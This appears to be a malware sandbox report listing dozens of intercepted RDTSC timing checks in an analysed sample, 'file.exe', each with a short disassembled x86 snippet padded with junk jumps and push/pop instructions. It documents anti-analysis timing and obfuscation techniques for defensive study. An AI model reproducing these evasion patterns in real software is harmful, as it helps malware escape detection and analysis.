Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01CE8 second address: D01D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7A4900AE79h 0x0000000c jnp 00007F7A4900AE66h 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01D11 second address: D01D17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01D17 second address: D01D1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01D1B second address: D01D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15317 second address: D15371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A4900AE6Dh 0x00000009 js 00007F7A4900AE78h 0x0000000f jmp 00007F7A4900AE70h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F7A4900AE75h 0x00000020 jmp 00007F7A4900AE77h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15371 second address: D15385 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F7A4994017Eh 0x0000000c ja 00007F7A49940176h 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D14E99 second address: D14EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7A4900AE66h 0x0000000a jmp 00007F7A4900AE73h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D14EB7 second address: D14EC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007F7A49940176h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1500A second address: D1500E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1500E second address: D15040 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jg 00007F7A49940176h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F7A4994017Bh 0x00000011 popad 0x00000012 jg 00007F7A4994018Fh 0x00000018 push ebx 0x00000019 jmp 00007F7A49940181h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2BCD6 second address: D2BD08 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7A4900AE66h 0x00000008 jmp 00007F7A4900AE6Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F7A4900AE78h 0x00000015 push esi 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2BD08 second address: D2BD2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F7A49940187h 0x0000000b jo 00007F7A49940176h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30A71 second address: D30A75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30A75 second address: D30A94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7A49940185h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C074CE second address: C074D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C074D2 second address: C074F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F7A49940176h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007F7A49940182h 0x00000012 jo 00007F7A49940176h 0x00000018 jng 00007F7A49940176h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C074F4 second address: C0750B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A4900AE73h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0750B second address: C0750F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F964 second address: D2F985 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7A4900AE66h 0x00000008 jp 00007F7A4900AE66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 je 00007F7A4900AE66h 0x00000017 jno 00007F7A4900AE66h 0x0000001d pop ebx 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2FAD6 second address: D2FAE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7A49940176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2FE29 second address: D2FE40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A4900AE71h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2FE40 second address: D2FE44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30293 second address: D302C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A4900AE76h 0x00000009 jmp 00007F7A4900AE77h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D302C4 second address: D302C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3047A second address: D30484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F7A4900AE66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3207A second address: D32080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D32080 second address: D3209F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE76h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3497E second address: D34996 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7A49940183h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34BE0 second address: D34BEA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34BEA second address: D34BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34CDC second address: D34CE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34CE0 second address: D34CE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34CE6 second address: D34D1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F7A4900AE75h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push edi 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34D1E second address: D34D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 mov eax, dword ptr [eax] 0x00000008 js 00007F7A49940193h 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34D30 second address: D34D56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F7A4900AE66h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370EBC second address: 5370EE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4994017Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7A49940185h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370EE8 second address: 5370EF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A4900AE6Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0030 second address: 53C0036 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0036 second address: 53C0043 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0043 second address: 53C00BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 call 00007F7A49940184h 0x0000000a push eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d popad 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F7A49940183h 0x00000018 add cx, 15DEh 0x0000001d jmp 00007F7A49940189h 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007F7A49940180h 0x00000029 xor ch, FFFFFFD8h 0x0000002c jmp 00007F7A4994017Bh 0x00000031 popfd 0x00000032 popad 0x00000033 mov ebp, esp 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C00BF second address: 53C00C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535010D second address: 5350113 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5350113 second address: 5350117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5350117 second address: 535011B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535011B second address: 53501B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F7A4900AE76h 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 mov ebx, esi 0x00000014 pushfd 0x00000015 jmp 00007F7A4900AE6Ah 0x0000001a add si, 8B28h 0x0000001f jmp 00007F7A4900AE6Bh 0x00000024 popfd 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 jmp 00007F7A4900AE76h 0x0000002d push dword ptr [ebp+04h] 0x00000030 pushad 0x00000031 push esi 0x00000032 pushfd 0x00000033 jmp 00007F7A4900AE6Dh 0x00000038 adc eax, 09DA69F6h 0x0000003e jmp 00007F7A4900AE71h 0x00000043 popfd 0x00000044 pop esi 0x00000045 movsx ebx, cx 0x00000048 popad 0x00000049 push dword ptr [ebp+0Ch] 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F7A4900AE6Fh 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53501B9 second address: 53501D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A49940184h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53501D1 second address: 53501E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7A4900AE6Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53501E8 second address: 53501EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53501EE second address: 53501F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5350227 second address: 5350236 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4994017Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5350236 second address: 535024E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A4900AE74h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535024E second address: 5350252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370C23 second address: 5370C5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F7A4900AE71h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov bx, E20Eh 0x00000017 mov ecx, edx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370738 second address: 537073C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537073C second address: 5370742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370742 second address: 537075F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A49940189h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537075F second address: 53707A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F7A4900AE6Ah 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F7A4900AE70h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F7A4900AE77h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53707A0 second address: 53707B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A49940184h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53707B8 second address: 53707E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7A4900AE75h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370696 second address: 537069A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537069A second address: 53706A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370412 second address: 5370452 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A49940185h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F7A4994017Eh 0x0000000f mov ebp, esp 0x00000011 jmp 00007F7A49940180h 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370452 second address: 537045A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edi, ax 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537045A second address: 5370460 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370460 second address: 5370464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538031E second address: 5380322 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380322 second address: 5380328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380328 second address: 5380330 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, cx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380330 second address: 5380372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov dx, 9C10h 0x0000000f pushfd 0x00000010 jmp 00007F7A4900AE79h 0x00000015 and esi, 45200A96h 0x0000001b jmp 00007F7A4900AE71h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380372 second address: 5380382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A4994017Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380382 second address: 5380386 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0EEB second address: 53B0EEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0EEF second address: 53B0EF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0EF5 second address: 53B0F16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4994017Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7A4994017Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0F16 second address: 53B0F1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0F1B second address: 53B0F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F7A4994017Dh 0x0000000a and ecx, 205A8A76h 0x00000010 jmp 00007F7A49940181h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F7A49940188h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0F66 second address: 53B0F6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0F6A second address: 53B0F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390405 second address: 5390418 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390418 second address: 539041E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539041E second address: 5390422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390422 second address: 539049C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F7A4994017Ch 0x00000010 sub al, FFFFFFD8h 0x00000013 jmp 00007F7A4994017Bh 0x00000018 popfd 0x00000019 call 00007F7A49940188h 0x0000001e pushfd 0x0000001f jmp 00007F7A49940182h 0x00000024 sbb esi, 64C81268h 0x0000002a jmp 00007F7A4994017Bh 0x0000002f popfd 0x00000030 pop ecx 0x00000031 popad 0x00000032 xchg eax, ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F7A49940182h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539049C second address: 53904B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov cl, dl 0x00000010 mov dh, ah 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53904B5 second address: 53904DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A49940186h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 mov ax, bx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53904DB second address: 53904EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov bx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and dword ptr [eax], 00000000h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53904EF second address: 53904F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53904F3 second address: 5390502 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390502 second address: 5390508 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390508 second address: 5390543 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax+04h], 00000000h 0x0000000c jmp 00007F7A4900AE77h 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7A4900AE75h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390543 second address: 5390553 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A4994017Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390553 second address: 5390557 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370587 second address: 537058B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537058B second address: 53705A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380EBA second address: 5380EC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380EC0 second address: 5380ED9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A4900AE75h 0x00000009 rdtsc
